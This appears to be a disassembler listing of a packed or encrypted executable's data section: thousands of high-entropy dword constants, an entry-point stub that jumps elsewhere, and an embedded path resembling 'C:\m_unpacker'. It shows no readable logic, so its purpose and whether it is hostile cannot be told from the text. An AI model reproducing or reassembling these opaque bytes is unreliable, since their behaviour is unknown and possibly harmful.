		dd 0FD9E4C92h, 7C1F98F5h, 0ABF76B8h, 694F4A07h,	0FC3680A4h
		dd 0F9A0284Dh, 2DEC2000h, 6FE83DEAh, 69C46F47h,	0DD8F7E60h
		dd 8D18A3E2h, 3E19BE66h, 3D27006Ah, 0C3094AF1h,	0CF003B79h
		dd 0F5508105h, 17A1667h, 4647E7E2h, 63709DDFh, 4B8C00E8h
		dd 0CCC25477h, 0A1D80593h, 0C84E26DBh, 0AE003010h, 0C353E719h
		dd 482736B2h, 8A06FC4Ch, 49AA6A91h, 0F00CCB0h, 78852E7h
		dd 1269D514h, 1EDF1364h, 0F6D44118h, 0D0DCCD66h, 0BEF0777Bh
		dd 84BBDD00h, 7C5FF09Ch, 0A142864h, 0A15FEF8h, 6F1DC0A9h
		dd 4B1B40E4h, 1AB8E69Ch, 1E24501h, 24D2CE0Ah, 0F500E022h
		dd 709DA06h, 34B16F2Ch,	5457A700h, 3FE88E3Bh, 0F526A852h
		dd 90360FE7h, 8C1697h, 0D7F61114h, 0B369456Eh, 96A48039h
		dd 0CC90D428h, 350823A0h, 0E50390B8h, 6C8BA79Dh, 6794E89Bh
		dd 1C4A8D6h, 0FB3E0054h, 0F11FBD75h, 8900E6B6h,	0D8CDAAE5h
		dd 2EBB7EE2h, 0B702F5Ah, 0EC04F62Bh, 0C08C5467h, 0A72732C4h
		dd 37CE8EAh, 95099344h,	5590F20Dh, 0C93CBFA8h, 6A6E1882h
		dd 7AEAA230h, 11ED00A7h, 5B03ADE4h, 0BE032C31h,	0E559046Eh
		dd 5FF4C8A1h, 0B9A67480h, 1140261Ch, 0F6D60BB6h, 0B3844174h
		dd 886D8C30h, 0E8B94A6Fh, 0E7C7A080h, 7E5922AAh, 1CCB1E9h
		dd 8052F9B7h, 0A645D8A4h, 0EB460600h, 3C382C90h, 0C4F50418h
		dd 40A8685Eh, 539C257Ah, 0A7D1009Ah, 2307932Ch,	0EC1351E0h
		dd 0D000905Fh, 0FC2982B0h, 0A86858F7h, 33E01F81h, 0D46FE47Ch
		dd 141DA701h, 0C9164506h, 1AD47021h, 50867E7Fh,	2DA740Eh
		dd 0A47D43FAh, 5C644F3Ch, 9E715F00h, 0BBEB6BCFh, 0B9F4ECC3h
		dd 0E048A650h, 0E5C570F3h, 0F73424B8h, 0AC0159CAh, 0BF90E1E9h
		dd 0D0869050h, 0AAD800DEh, 0BC211C9Bh, 8A009AA3h, 0BF162AD9h
		dd 2A82CC1h, 7C68353Eh,	7840FBABh, 804C180Bh, 0B65011DCh
		dd 3600C053h, 0DC09563Fh, 0D64C2329h, 670A7ED8h, 8CE16C8Dh
		dd 0D8204E45h, 49506FAh, 0A4850245h, 105C8174h,	710404Fh
		dd 5000193Ch, 1AD4FCCAh, 94C8F26Fh, 40744480h, 29F3AFECh
		dd 4C01E678h, 808E544Eh, 0D20118AFh, 0D05970DDh, 0AB6010E8h
		dd 428FF68h, 0A548286Fh, 0C073444Ch, 0B58DE38h,	80C10F56h
		dd 74D2CDDEh, 0A36F252Dh, 0EA35D802h, 504771C0h, 70B39C14h
		dd 0CCC80070h, 0D6654B83h, 0A210080h, 0E27B6EF1h, 9B076F1Ch
		dd 5C0BEABDh, 0FE146640h, 1D4ACA4h, 0F1A59F9Dh,	80624E06h
		dd 0ABA8E891h, 345F666h, 85D1499Bh, 53A84FE1h, 5F028BC7h
		dd 0DDC921Bh, 1B4486Ch,	86280FD5h, 5800552Fh, 7C778CD9h
		dd 0CE16126h, 4E711903h, 7A610065h, 11461AB3h, 0D4EE81BDh
		dd 0DBA84100h
		dd 30EC6E98h, 47C30F95h, 0AF653F48h, 17A00993h,	81D77C01h
		dd 88840BFh, 0A1E2E898h, 24BB8358h, 303800B3h, 17AF095Dh
		dd 0FECE0C95h, 7779644Eh, 2E869303h, 0A866656Ch, 0A7F508h
		dd 0DAE6B239h, 9B5F9770h, 0ADB07967h, 0CC59DA5h, 0EC13881h
		dd 0FC996050h, 51A40071h, 1741B84Ah, 0FB00C7CAh, 0A6F1B33Ah
		dd 546F5CABh, 8D0ACh, 1C580A94h, 0A46804DEh, 900919C1h
		dd 76805E14h, 891233F7h, 7500FABCh, 37B8C4C9h, 26D00317h
		dd 1148BB83h, 0ECA413AEh, 66A7088h, 707BEA82h, 0E70921AAh
		dd 7DA6B3h, 19A7D8A5h, 8CFF0186h, 1F0190CEh, 6DF430F0h
		dd 54DA4609h, 0B824106Fh, 0AABB016Bh, 0C27EBAECh, 1BE28357h
		dd 0CFFD82C4h, 800CB200h, 0C832E7BFh, 0C92B0B00h, 0ADEA46E6h
		dd 75A09807h, 0FB20DF24h, 24B8046Ch, 10A4D795h,	643784F8h
		dd 90720E44h, 0EDC81020h, 22034BE0h, 0CD4C010Bh, 0E0F6AA59h
		dd 526F6448h, 0CC00A869h, 5EF742FAh, 0A9F89110h, 0F0BB88h
		dd 0D6A3F9ABh, 4666FA87h, 364EDC00h, 0D7809133h, 7D2C06A5h
		dd 58593AD9h, 1A78F008h, 2B5932Fh, 38C21520h, 10ADC861h
		dd 0D767CCh, 6AC086D6h,	0BEF2A4F9h, 0C041C0AAh,	0C1CD10B3h
		dd 395A1329h, 0DD586193h, 24A47395h, 0A503E054h, 0E1754CA8h
		dd 0F6BD964h, 0F561BD81h, 0F29DD88Ah, 6A025072h, 69941161h
		dd 12844070h, 4C344C36h, 0F8429907h, 587B84D1h,	2DE0920h
		dd 0EDCE60F5h, 5C598792h, 439A0Fh, 85EAB036h, 0D26800F1h
		dd 804C1604h, 0FB006013h, 43828F24h, 0A653F61h,	6F5D95EEh
		dd 0C7064084h, 3B0070F6h, 3631C13Ch, 7EC3B935h,	47E50491h
		dd 8C3DACA1h, 0A290E228h, 0A9227F00h, 963D9FEh,	4CFBF4EBh
		dd 0B022D094h, 0E50B282Eh, 114C9025h, 20904AEEh, 0E00180F0h
		dd 82B2E538h, 0B8C1A8D4h, 0EBC0FFA4h, 6E01CCE9h, 0A3BB1CC2h
		dd 1C606746h, 9287287Bh, 996F1CE8h, 3894D5F4h, 0C9613B0Ah
		dd 0BD978BB0h, 89DF1A00h, 649CD292h, 87187009h,	0E156A938h
		dd 254C0039h, 0D58656BBh, 0FD007801h, 896820E7h, 76ADBE59h
		dd 7B5E03FAh, 1D90F6D7h, 0CC6694D0h, 90B69C0h, 6E1EE1h
		dd 0AAE42028h, 5DD613D4h, 800D3639h, 0FC852CC4h, 1DFB1DDDh
		dd 427C1AC1h, 0D33A1E4h, 9E57FC60h, 7A07100h, 0CCF394DFh
		dd 5C28B0C3h, 29C078D6h, 0E7284C84h, 9D5CC700h,	43386B9Bh
		dd 0D8EFE3Dh, 9E526C4Ah, 0F823D1h, 0E8D65710h, 0C59DF5h
		dd 92F2CD35h, 272C5B9Eh, 37FD01Eh, 0DE0084EEh, 0FB192FCEh
		dd 873B099Dh, 4402337h,	0D5127C38h, 0A830D159h,	98C16A0h
		dd 0B85AF725h, 18FC0480h, 374DEFA4h, 0C662620h,	0C8A9F240h
		dd 95FB0789h, 507281E7h, 2710F537h, 50228412h, 0D0328F16h
		dd 0CCA4114Eh, 2D4FD101h, 16A73840h, 7B2F1Dh, 49757D3Dh
		dd 1B3B2CFh, 9A9FE409h,	0EF06087h, 599CA873h, 0EFBC077Eh
		dd 61F67267h, 20C33340h, 60021220h, 7CD1E089h, 0D6DC80FFh
		dd 1AB1623h, 82BFB4B0h,	0D8850C37h, 5E245657h, 71071C5Bh
		dd 0DEF0A5B7h, 301D2881h, 48E9CF61h, 14EC2CF1h,	2B3F6F00h
		dd 0FEF5032Fh, 19D92449h, 1EE011B8h, 2BC0AD69h,	8D25E5AFh
		dd 0F82E0128h, 214727Dh, 0C762FCA4h, 0A56822h, 0ECAC2B5Ch
		dd 331850Dh, 8E2EAE00h,	3458C521h, 38C90BFh, 0FE1DE201h
		dd 110018F3h, 3EABBD6Fh, 5CC1D709h, 0EC1D5EFAh,	0C82912A9h
		dd 4102D820h, 807D4EF8h, 4D4AE022h, 40CC94BEh, 0E11E5229h
		dd 5A037A00h, 2BDE5E40h, 0BD0E00D4h, 6D4B3516h,	44EC9D82h
		dd 8400CEB0h, 0C62037F3h, 0C06B4E6Ah, 0A3940369h, 0EA00BAE8h
		dd 324F606Ch, 247D2EBh,	6B31F088h, 0E07270A5h, 677F8400h
		dd 0E7DE9787h, 9B47E6Dh, 74BE05Fh, 622C4402h, 0D2F36F22h
		dd 0A469586Ch, 237C1880h, 0E507EF7Fh, 0A72F92E3h, 0BA875851h
		dd 2A2A6E0h, 0A4D80B8Eh, 0F869B9E9h, 0C8244066h, 0ED038D31h
		dd 9D7C2B86h, 0DEB4B860h, 71A4147Fh, 0A383F866h, 1AB847A9h
		dd 0DA052882h, 0ED6FADBAh, 48572CE4h, 4D004C71h, 5EF09747h
		dd 0EA00C3D3h, 0EC38E5D5h, 0B07AFA39h, 33370984h, 244122D0h
		dd 0C0D83C4Dh, 0C6D97EC3h, 40A00499h, 85C5A53Fh, 611489B4h
		dd 0EEF2E99Ch, 0E8FDA049h, 0E80020A6h, 581B3880h, 0B3840745h
		dd 95D6025Ch, 7021CB66h, 72C52474h, 26C396CCh, 8E45E4Dh
		dd 0D39CB2EAh, 0BAB592C0h, 135870C5h, 9044665Fh, 182A7CD0h
		dd 4556F11Fh, 106FC09h,	111F0440h, 5DBC64h, 8D9FFF21h
		dd 32D14C18h, 0D10E0A4h, 0E4026A6Fh, 90D554D4h,	45E2EDE0h
		dd 0DA614D00h, 96DC5940h, 83389C66h, 60B408EFh,	5F4E1CF8h
		dd 7BF2D700h, 6FD6FD09h, 92B8B43Eh, 0A8282069h,	4B003A89h
		dd 2C841A6Eh, 0B95F526Ah, 40248004h, 0AF138269h, 0AEB011B8h
		dd 0DE601496h, 3307F095h, 13B96F4Eh, 150F61F0h,	53AED300h
		dd 9446E912h, 0F20A00DDh, 76391829h, 0BD28A0EBh, 0D084D8DBh
		dd 0BA6E504h, 64F46799h, 0A09C004Eh, 0EB17CFF5h, 49007244h
		dd 0DFDAED60h, 4BBB29h,	4DE7BE4Ch, 4F6C9F55h, 2960F499h
		dd 0A2DB5Fh, 3D33BDD3h,	750FB090h, 4550858h, 0FDE5AE1Dh
		dd 3DC88Ch, 68C610A0h, 8BA6D572h, 670322B0h, 0AB50755Bh
		dd 9069B280h, 7140F90h,	0C72D2A9Dh, 4C0019F5h, 0BDE681F9h
		dd 6DA9DF09h, 7864005Ch, 4CEBC156h, 19134429h, 112430E7h
		dd 6F0077DBh, 563D5E4h,	3AB80255h, 0A385CBB4h, 4EB9206h
		dd 0B218F0FFh, 0BC291FBCh, 55AADC80h, 4DA2F6Fh,	0DBBB30Bh
		dd 0F41C906Dh, 0A30027ADh, 0FC8891B4h, 3A23BC3h, 74D10BF3h
		dd 82DE0FFh, 5D5C1236h,	0ED3228C0h, 0F3D82500h,	0EAC4230Dh
		dd 0EE5C0112h, 6F2EBA9Fh, 0F003D44h, 0C90329ECh, 0FCCB68h
		dd 0D95849E6h, 912A9665h, 0E80E33E8h, 5E11B27Ch, 0BC01B853h
		dd 804FA803h, 103AD8BCh, 1158ED2Eh, 0C7A404B1h,	10F469AFh
		dd 0F8A10040h, 9B36235Fh, 0ED3AEBD2h, 90242FB5h, 28F1684h
		dd 11F19C3Bh, 1859F7A5h, 0F367207h, 5D343817h, 6B308Ch
		dd 5F66BDEBh, 0DDACE934h, 95C073Ah, 9230EDh, 67763363h
		dd 9831C0F5h, 1D3EE19h,	6BAACA07h, 30203973h, 17B60C0h
		dd 0E3586DB3h, 20D45C59h, 0B2455248h, 92363F40h, 20B4D6h
		dd 0E1AE3278h, 8B9953Eh, 659FC80h, 26E750A8h, 7C602F6h
		dd 0A02CDE3Fh, 0D505C5A2h, 807C0E5Ch, 0DF2EC989h, 9970317h
		dd 0B4D736A3h, 999A3CF3h, 6D035050h, 0A5865376h, 0BFE8A8C7h
		dd 608E24F5h, 3EC43CBCh, 1F1B0538h, 0EC172348h,	0F9F45422h
		dd 0FA4400E8h, 18D4E02Ah, 0ECD06800h, 13FE7CAEh, 25080322h
		dd 0F766A7DBh, 0A881C900h, 0F5E243C1h, 32620046h, 0F7F6C86Dh
		dd 8409E47Ah, 0F981C33h, 0E42F2BF8h, 0E650F204h, 634800BAh
		dd 0BEA7BD64h, 160398F9h, 7192447Bh, 419100AAh,	0E0D30A7Dh
		dd 6002D02Eh, 0DE7348D9h, 6C56B3h, 57C85D51h, 6F0079B4h
		dd 61F5549Bh, 0BC1E771h, 282A7F19h, 9023400Fh, 0F4A8F101h
		dd 620096FEh, 45488B8Ch, 58FC1D11h, 6022A495h, 0D0231B5Ah
		dd 0C440ED0Eh, 6DD6105Dh, 0DD2E00FAh, 0BE251E0h, 0C1050213h
		dd 8122A5C7h, 0DF0060F2h, 0DD287596h, 7C00D2BDh, 3537F007h
		dd 4C55EC33h, 944DD406h, 0AA0BF580h, 2D011CF9h,	0CB051A58h
		dd 0D1FCA4BEh, 4CECA083h, 88760038h, 0CFF0CAF2h, 0FB07E122h
		dd 0EAE05646h, 0DECC7880h, 20791D59h, 0C6C300E2h, 3F1F6A3Bh
		dd 0FA04D20Ch, 1E22283Dh
dword_54BD44	dd 511832Ah, 80568245h,	0A03B78A8h, 39421900h, 0F4370CF1h
		dd 8805007Ch, 0CEA20D4Eh, 5906EE2Eh, 0E9F145FBh, 48FA3348h
		dd 87C0BC51h, 4C00093Fh, 8A0A0258h, 0DAC2EFh, 14A4E8Ch
		dd 0C678EE5Fh, 7EDF3A00h, 0F0F77F66h, 0C9BE6312h, 800C811h
		dd 0D0C307EAh, 1BA309Dh, 6833E466h, 0C55FAD4Bh,	49D9DCC6h
		dd 4C601907h, 90E07231h, 0A77E962h, 0F6C6F255h,	7FD01128h
		dd 7709A700h, 88FD7C4Ch, 0B66D30E9h, 0A182F598h, 0C67DEE00h
		dd 3EF03906h, 41451B97h, 41009AE0h, 0A00FA47Bh,	78175C63h
		dd 0D2C70369h, 0CCC05FE4h, 12FA4DC8h, 0C683F900h, 0A4BFE037h
		dd 6B8CA843h, 4D56382Bh, 51CC1118h, 0CA00AD86h,	0D5D255A2h
		dd 1F9C90CFh, 0C0202671h, 0C47E75FEh, 1E3EE0CCh, 9076017Fh
		dd 31B7688Bh, 500A5FCCh, 0FA32A4BBh, 1FFF0782h,	0B0C8CB3Dh
		dd 0B6E7A3E9h, 13C3CD3Eh, 390120F9h, 0E2F54F89h, 0CFC04057h
		dd 0FF7064h, 0D53051D3h, 0FA1D6727h, 0B974F937h, 1303B1D0h
		dd 6B60007Eh, 0D1A8412Fh, 4D00688Dh, 32D35C4Fh,	48E80B3Dh
		dd 0A08044ECh, 17304BD6h, 494AFC30h, 1C28241Dh,	5CF883D8h
		dd 54FA09C1h, 0BF025830h, 3146A330h, 30861D99h,	0F2114CFBh
		dd 0B7A0F9A2h, 0D015325h, 0E8BD65A1h, 0F4202ED5h, 0E1260022h
		dd 18FA366Ah, 42E80964h, 50DFAC24h, 8A035091h, 595EC4C9h
		dd 0FC9DF6B1h, 4900E554h, 0E1792B31h, 0E2F187FFh, 2468A0CEh
		dd 90DD1425h, 0E400AC8Dh, 6B8CAF43h, 0CF18913Bh, 0C129F1EEh
		dd 576400D8h, 5A4D147h,	8400FD03h, 89C88BEFh, 80BF1280h
		dd 730031EAh, 3703A5CCh, 79CE4D02h, 0C0511CC8h,	64F4F44Ch
		dd 8B0CC08Ch, 0C701D9F0h, 102A721Dh, 9822EF15h,	98E7FF1Fh
		dd 3AF31291h, 65141800h, 0E2E31CCBh, 260E01B1h,	678962FDh
		dd 8DD824F0h, 3B749C03h, 0E03E7307h, 0C32B724h,	0F9F00F44h
		dd 5261859h, 0A10089BAh, 61CD8A4Dh, 6FD0064h, 0C1EFEA66h
		dd 713DB2F1h, 5EF28068h, 3A84EE80h, 321838FBh, 0F1C31018h
		dd 870F3E2Dh, 0C1CBE9ACh, 37804DD2h, 196CEDF4h,	29C110D9h
		dd 0F3D7E4BBh, 0F006C501h, 0DD4C485Dh, 5797B30h, 0FBEF32CCh
		dd 0A7E44051h, 7B5D64EBh, 0A486BF00h, 67DBC96h,	0C8890C58h
		dd 9A29416Fh, 15BC7652h, 380ED67h, 32FECDC7h, 0D57DF8E3h
		dd 0D6A350A8h, 91250378h, 0AC67961h, 0C3755AAAh, 0DE81E744h
		dd 6EC83251h, 951D2D4h,	4E84B720h, 3C3492A6h, 221C7FE0h
		dd 0E63B272Eh, 0EC84D000h, 0C0FAE560h, 0F58F06D2h, 0A1C04FFBh
		dd 938A18B8h, 28B10F54h, 48C4DF74h, 8C009059h, 0AD0017A0h
		dd 6A0BC6C5h, 18840D02h, 4155FC57h, 94001310h, 44749F97h
		dd 60497565h, 8E30C045h, 1152DB1Bh, 494CB0h, 0D59C7BD7h
		dd 5CE2Ah, 0D3C76C39h, 0FAEA4BFBh, 421FCC01h, 3E7B7FBFh
		dd 18E6C0EFh, 9FA100C3h, 0DB70FF55h, 5E3E9039h,	2CFA00E5h
		dd 77DEBB31h, 0A34E3CC7h, 25521100h, 0BACF457Dh, 0B0234D06h
		dd 3C480492h, 4280B8FAh, 0A7E88414h, 0DB309C1Ah, 40E67817h
		dd 4771C0E5h, 0D9444A71h, 72342600h, 2351A72Dh,	0CD8301C0h
		dd 0D40DAFF0h, 3D6EE460h, 64BB9604h, 3880B9F5h,	302A5FD2h
		dd 0CC7099A4h, 0BF098DEBh, 58A948C7h, 890501A7h, 77BA4EBDh
		dd 79B5E445h, 6CC3A31Ch, 55719A00h, 60F4B343h, 72EF9924h
		dd 0BD00B7C6h, 4C8F1660h, 0E2B4FCBh, 70A84B28h,	3DD97CFh
		dd 9FA6B9A4h, 80757903h, 0E1EEF95Dh, 56EC7871h,	65CF80Bh
		dd 0CD9C827Eh, 2906611Ch, 20EE8F4Bh, 0C9FB3F11h, 8E454300h
		dd 42BA83BFh, 0B2BB9209h, 409B024Ah, 2794A0F4h,	148691E5h
		dd 0A4CD9B29h, 0B370B587h, 6CD89E16h, 19C0A456h, 0D1957918h
		dd 159D0A08h, 2243FE1h,	2E5090Dh, 86EDCD40h, 0A9F39300h
		dd 0CC237A88h, 8EEE0047h, 0D9979677h, 79021058h, 7529F2A5h
		dd 22ECA701h, 9C08821Fh, 466C90CEh, 14A101DAh, 0A9988C18h
		dd 1F2DF41Ah, 0B7FABE1Dh, 9857A6CAh, 0FF5158Bh,	0C88301AEh
		dd 6843D19Bh, 0BD4000B7h, 776DAF4Ch, 231E9CA4h,	9D40DD2h
		dd 7A7CC0D4h, 760D906h,	5CDCB568h, 0BAB4430Ah, 9697F801h
		dd 32713614h, 0D46DFE4h, 98A60F3Fh, 0A017E081h,	494E8200h
		dd 0AE8A1012h, 88A8035Ah, 0EF9D919Ah, 241F2800h, 545C07BDh
		dd 0B57CDEh, 1E834540h,	6D807F36h, 0EA3E0515h, 0D6FB0FACh
		dd 0E150C099h, 0AA0EBEh, 2458DF59h, 92B7ED8Ah, 35980FFh
		dd 237470A5h, 65B207A4h, 30502007h, 0F3B76C15h,	0A9537F30h
		dd 37199635h, 701151A6h, 4749CD4Dh, 79F24030h, 745B7C2h
		dd 6712143Ch, 5629F14Dh, 79F84898h, 5AFEDB00h, 0AA9A97CAh
		dd 508130F3h, 8A28DD51h, 0B805F514h, 299305BCh,	0F4200273h
		dd 9092F92Bh, 0AC48050Ch, 401FF5BAh, 0E7EFDAC0h, 0B010552h
		dd 0F35DDF36h, 59A8E54Ch, 90FC5090h, 614700C1h,	6EAAA5A2h
		dd 0DC09B6DDh, 2B7B4A1h, 281AD18Ch, 0AB4600DCh,	0EF8F7ABCh
		dd 2452511Ch, 836E449h,	29063C78h, 1A1FF71h, 79C1DF86h
		dd 92933BECh, 440592C0h, 1800F4F5h, 2290F291h, 0D94D00B1h
		dd 0B284ACAh, 3705F8AFh, 0F03E3D75h, 0A1389440h, 0C5F35BAh
		dd 0F658D14Bh, 0E88B1B78h, 90B59143h, 0C72114D0h, 4A2AA4E7h
		dd 28B41278h, 0B8083003h, 330023B6h, 5B868C0Eh,	499DBAFh
		dd 0F95390B2h, 248C5B4h, 7B4B9AB4h, 268044AEh, 0D98C8A92h
		dd 0F188F400h, 81F8F20Ah, 5F220DB6h, 0F268070Eh, 0EC271020h
		dd 93BE04D5h, 87432F22h, 6CE04F0Dh, 4E81B7E1h, 9D67F600h
		dd 0F3ADA44Ah, 0B9E6000Bh, 462BD877h, 15509088h, 809F0C0h
		dd 10A428CFh, 264DAE38h, 0A80E74Bh, 81BCCD7Ah, 77B7046Bh
		dd 89D02044h, 5A96E48h,	9254022Ah, 3FBEC404h, 45F0C8h
		dd 46BF84EBh, 4E759636h, 500053EEh, 441BC45Dh, 0A8D30C0h
		dd 0EC3481CBh, 0FAFB00B4h, 9D18A2A4h, 0EB0FDC98h, 0A37958DAh
		dd 0AF48C4AEh, 575F01AFh, 1414A256h, 0C78FDCFEh, 0B9BD3C0h
		dd 7600230Fh, 9983A9C0h, 0F685D781h, 0C68D3E4Dh, 29F46D8Ch
		dd 72002541h, 0A645EB48h, 1885611h, 0DD8386C3h,	0F1DC3660h
		dd 514EF518h, 0F86AD28Ch, 0A806F31Ch, 0B1E471FDh, 0AFE23DF8h
		dd 89E3313h, 4C80CD98h,	222ACF82h, 835E14CCh, 2960A09Ch
		dd 6BA89397h, 6DECD30Ah, 183ED0E0h, 0EF50B59Bh,	34BC00BAh
		dd 4E19517Fh, 7C18F98Eh, 8B18A6CCh, 93DCA1BEh, 0A014B4D0h
		dd 0E62CADh, 77029E4Ch,	0BC80DEF5h, 0EB2D3800h,	0DF2622E5h
		dd 8F8600D0h, 9D6DA4A5h, 0AC79798h, 3F508A96h, 4C9BEC77h
		dd 7894C8D2h, 3EDC7405h, 6AB443F7h, 0AD80EBE4h,	0B6133026h
		dd 84083BB8h, 40BE9CE8h, 17CF6534h, 4F00E775h, 3B3648CDh
		dd 58356B0Dh, 22228879h, 80643F48h, 3E1F9ADDh, 0B725189Dh
		dd 928DF074h, 0A331C202h, 68537B29h, 0B1ED6C30h, 4BD803A0h
		dd 0A8E13E2Ah, 793A70A5h, 4DC4B700h, 0A6C1076h,	48B990h
		dd 0A3D87BA8h, 6218BA42h, 8A190591h, 0AB3F0B3Ah, 0BD803B7Dh
		dd 8659F648h, 65DB7E09h, 2F80801Ah, 6C7B58h, 1149054Eh
		dd 0D21224BEh, 8220563Dh, 181B47DCh, 7C468Eh, 0EF0F7EE2h
		dd 865B59B7h, 84CD731Bh, 0B2BEA01Eh, 2F40794h, 560F8111h
		dd 0A100D127h, 0B9E27260h, 415E6Fh, 0F973DAE9h,	114A98E5h
		dd 481CEC07h, 4C34E101h, 0F2A1C081h, 16008C63h,	2EC6CF83h
		dd 8002814Eh, 0B11C91CBh, 0D478C097h, 22D107B8h, 4E2FE724h
		dd 4DE23940h, 1513D98Fh
		dd 0D8006025h, 7AB8BBB7h, 7CC75CA4h, 586CDC00h,	0AED6A61Eh
		dd 0F87488A3h, 8855A524h, 83141980h, 22027EEh, 0B8DDF709h
		dd 8C486F3h, 77B60501h,	0F89A56CBh, 35039055h, 85782806h
		dd 209BC443h, 0F54DE80Eh, 0B1F37AB2h, 61D40084h, 1DD79B28h
		dd 804AE9CFh, 7BC5DD27h, 96020015h, 84F753B9h, 0D0489B31h
		dd 903F89ECh, 8DFDACh, 5823BC0Ch, 0F4D47A49h, 0A8970502h
		dd 405DD267h, 479A38h, 984366D6h, 0AE2B1F8Dh, 50CFC51Fh
		dd 841A1982h, 0B705194h, 3D0FE18Ch, 77BFC0DCh, 0BA970608h
		dd 2A23B012h, 0BDE409h,	0A1BB9548h, 2B7C28CBh, 5DC62E96h
		dd 299C8074h, 65CDA843h, 0F4A9050Bh, 55A40494h,	0C925ED46h
		dd 0DCD28100h, 0E93B1C9Bh, 0BF6E652h, 702805CAh, 0E3178810h
		dd 3E6D51C3h, 0A2F900EFh, 90768197h, 6707899Fh,	0BA2A4DBCh
		dd 8EB58300h, 34E54A5Fh, 8CC0801Ch, 0F4A002AFh,	6609035h
		dd 0F69B6A61h, 376D0F7Bh, 0FA7CE065h, 0BD7F4B80h, 63580FC0h
		dd 70F14E1Fh, 6E098BD6h, 6C6C11F5h, 7E55DF0h, 0C4550EC3h
		dd 60A3E0CAh, 0A638883Dh, 4F919233h, 82731840h,	7EDD401h
		dd 0CCC462DFh, 3851C0FEh, 290645ECh, 1AB97520h,	44EA179Ch
		dd 2C7814B4h, 286DBEC0h, 51CB5071h, 7BFC90A5h, 255F0055h
		dd 3957F74Eh, 171DD061h, 0F31D4285h, 90BC4754h,	0FB641E5Ch
		dd 0EA383480h, 1575D1h,	1E20D0AFh, 78A0FE2Ah, 104AD8A1h
		dd 6B83F66h, 9193964Dh,	0E1008151h, 0EB7D2B0Eh,	666017h
		dd 5D0B3968h, 35BDFA0h,	35A55402h, 66253473h, 6FC10FB4h
		dd 5CE0F444h, 1A928853h, 0F9A8AAA0h, 4CE6E83Ch,	59DA8060h
		dd 0EF7BECh, 23124203h,	6BE7E924h, 0B8A40B0Ch, 0C8C38F2h
		dd 0EE3F46E2h, 4E7B2161h, 32B63B00h, 0F37D9324h, 6E282CFFh
		dd 0D49B425Ch, 0EF09D0ECh, 0F1B148Eh, 80408B94h, 349D85D0h
		dd 23580402h, 0A2287D60h, 1B380074h, 0B57A22DEh, 2AF74E6h
		dd 310F2359h, 58C0B2B1h, 0CC25D325h, 5504109Bh,	0A7E3177Ch
		dd 865400D6h, 289C81A5h, 4795D3Bh, 0ABB1F56Bh, 500514FAh
		dd 44C06428h, 0FCB9ED9Fh, 6B5E7100h, 7C2B93h, 406D0BC2h
		dd 0ED9AAFC4h, 0FF01CC52h, 60FBFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54C7AC:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_54FC51
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 0A7FFDD00h, 0FFh, 4 dup(0)
		dd 0FE030400h, 7Fh, 76456200h, 54h, 7 dup(0)
		dd 0A2156000h, 0Ch dup(0)
		dd 3F9F800h, 5 dup(0)
		dd 54DB7500h, 6	dup(0)
		dd 0A794C100h, 5C0000FFh, 2, 5D45E500h,	598B7E00h, 0B8000000h
		dd 5 dup(0)
		dd 309F300h, 2D72741Fh,	5Fh, 4 dup(0)
		dd 0F1BC8A00h, 0FFFFFF36h, 0FFh, 9 dup(0)
		dd 0A169DD00h, 2 dup(0)
		dd 0FFC3D000h, 0FFh, 0
		dd 9D6FE500h, 3	dup(0)
		dd 9CF000h, 0
		dd 0EA91F500h, 52925A0Eh, 8Fh, 8 dup(0)
		dd 0AD030400h, 0E6D70680h, 9D43B677h, 6Fh, 8 dup(0)
		dd 0E7796300h, 77h, 7BB45900h, 53h, 0B285F400h,	54DB7500h
		dd 3 dup(0)
		dd 0ECFEEE00h, 6Bh, 0
		dd 0C3458500h, 12h, 0
		dd 83E900h, 0
		dd 400h, 0A169DD00h, 0
		dd 12FEF000h, 0
		dd 59ECB700h, 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 82h dup(0)
		dd 0ACB2D400h, 58002389h, 0
		dd 649F00h, 92h, 0
		dd 8E800h, 2 dup(0)
		dd 0FF971700h, 0FFh, 3 dup(0)
		dd 40000000h, 2	dup(0)
		dd 0C3E00h, 6 dup(0)
		dd 3D00h, 6 dup(0)
		dd 8800h, 3 dup(0)
		dd 58937900h, 5	dup(0)
		dd 14AA6400h, 6	dup(0)
		dd 5BBD5300h, 0
		dd 0FF9BBC00h, 0FFh, 4 dup(0)
		dd 12FF6400h, 0FE030400h, 7Fh, 0
		dd 0A169DD00h, 2A5C00h,	0Eh dup(0)
		dd 0A2156800h, 0
		dd 1FCFC00h, 80h, 0
		dd 9916EC00h, 0E793EF58h, 77h, 0FEC6E800h, 7Fh,	200h, 0
		dd 0FE030400h, 17Fh, 4 dup(0)
		dd 100h, 3 dup(0)
		dd 0A242E700h, 34h, 2 dup(0)
		dd 12FF6400h, 0Ch dup(0)
		dd 0C800h, 4 dup(0)
		dd 0A5999500h, 2 dup(0)
		dd 58429A00h, 2	dup(0)
		dd 6C00h, 12h dup(0)
		dd 12FFF000h, 0EC00h, 9	dup(0)
		dd 0E2DA00h, 0
		dd 3D9400h, 4 dup(0)
		dd 0E76A2E00h, 0C3698D77h, 1, 3	dup(0)
		dd 0F129B400h, 7003h, 0Ah dup(0)
		dd 0FE030400h, 7Fh, 7 dup(0)
		dd 0FFA0CC00h, 0FFh, 72661700h,	0A8h, 2	dup(0)
		dd 21212100h, 0FE030421h, 0FE0A047Fh, 0A18C0A7Fh, 2 dup(0)
		dd 0A00A9A00h, 3 dup(0)
		dd 6AEF00h, 0A1A00F00h,	0
		dd 58937900h, 0
		dd 0A169DD00h, 9 dup(0)
		dd 9800h, 2 dup(0)
		dd 54CD0900h, 2	dup(0)
		dd 0AC00h, 6 dup(0)
		dd 0E7796300h, 77h, 0FE030400h,	5810597Fh, 5C607700h, 0D2BB9400h
		dd 63h,	0
		dd 0E04C1600h, 1, 100h,	0
		dd 0A7BD6600h, 0FFh, 0FE030400h, 17787Fh, 7 dup(0)
		dd offset dword_5A2400
		dd 0
		dd 5A1E6100h, 3	dup(0)
		dd 0D369800h, 5A000000h, 2, 2 dup(0)
		dd 8400h, 1FCFC00h, 0E8361480h,	0FE030477h, 4000007Fh
		dd 2 dup(0)
		dd 0A7BDA900h, 0FFh, 33333300h,	2 dup(33333333h), 33h
		dd 0DD5ECC00h, 77h, 5 dup(0)
		dd 58937900h, 0
		dd 6AEF00h, 0
		dd 165DD300h, 57h, 0
